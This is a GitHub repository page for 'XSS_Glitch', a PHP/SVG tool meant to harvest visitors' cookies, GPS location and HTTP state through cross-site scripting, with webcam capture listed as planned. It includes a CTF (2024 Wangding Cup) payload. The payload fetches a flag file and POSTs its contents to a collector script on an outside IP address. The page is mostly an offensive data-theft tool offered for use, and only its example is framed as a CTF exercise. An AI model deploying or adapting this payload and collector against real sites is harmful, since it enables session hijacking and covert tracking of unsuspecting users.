Skip to content

Use XSS to save User Cookie/GPS/templates, and other PHP scripts.

Notifications You must be signed in to change notification settings

icecliffs/XSS_Glitch

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

XSS_Glitch

用一个简单的php脚本实现XSS简单数据获取

  • GPS定位信息
  • 摄像头截屏 [todo]
  • HTTP状态保存

反正就是简单的不能再简单的一个用户信息获取脚本

使用方法

有√8使用方法,svg和php放到目录即可,然后随机访问上述两个文件

http://bfs.iloli.moe/po7mn1.svg
http://bfs.iloli.moe/po7mn1.php

实战

2024网鼎杯青龙组 web2

准备payload

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="test1.js">
    </script>
</head>
<body>
    111
    <script>
        fetch('http://3.88.127.66/flag.txt').then(response => response.text()).then(data => {
            fetch('http://3.88.127.66/xss-glitch.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded'
                },
                body: "content=123" + data
            })
        })
    </script>
</body>
</html>

然后插爆服务器拿到flag

image-20241030152616320

About

Use XSS to save User Cookie/GPS/templates, and other PHP scripts.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages